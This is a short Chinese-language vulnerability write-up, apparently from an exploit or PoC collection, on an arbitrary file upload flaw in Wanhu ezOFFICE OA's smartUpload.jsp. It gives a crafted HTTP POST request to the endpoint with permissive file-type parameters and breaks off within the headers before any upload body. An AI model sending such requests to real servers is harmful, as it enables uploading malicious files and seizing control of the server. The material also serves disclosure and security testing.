万户OA smartUpload.jsp任意文件上传

漏洞描述

万户OA（Office Automation）是一款企业级协同办公管理软件，旨在为企业提供全面的办公自动化解决方案。 万户ezOFFICE smartUpload.jsp存在任意文件上传漏洞。攻击者可以通过此漏洞上传任意文件到目标服务器，导致攻击者可获取服务器控制权限。

漏洞复现

1. 构造上传数据包，修改上传后缀名与文件后缀名一致。

POST /defaultroot/extension/smartUpload.jsp?path=information&mode=add&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,html,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Length: 196
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Co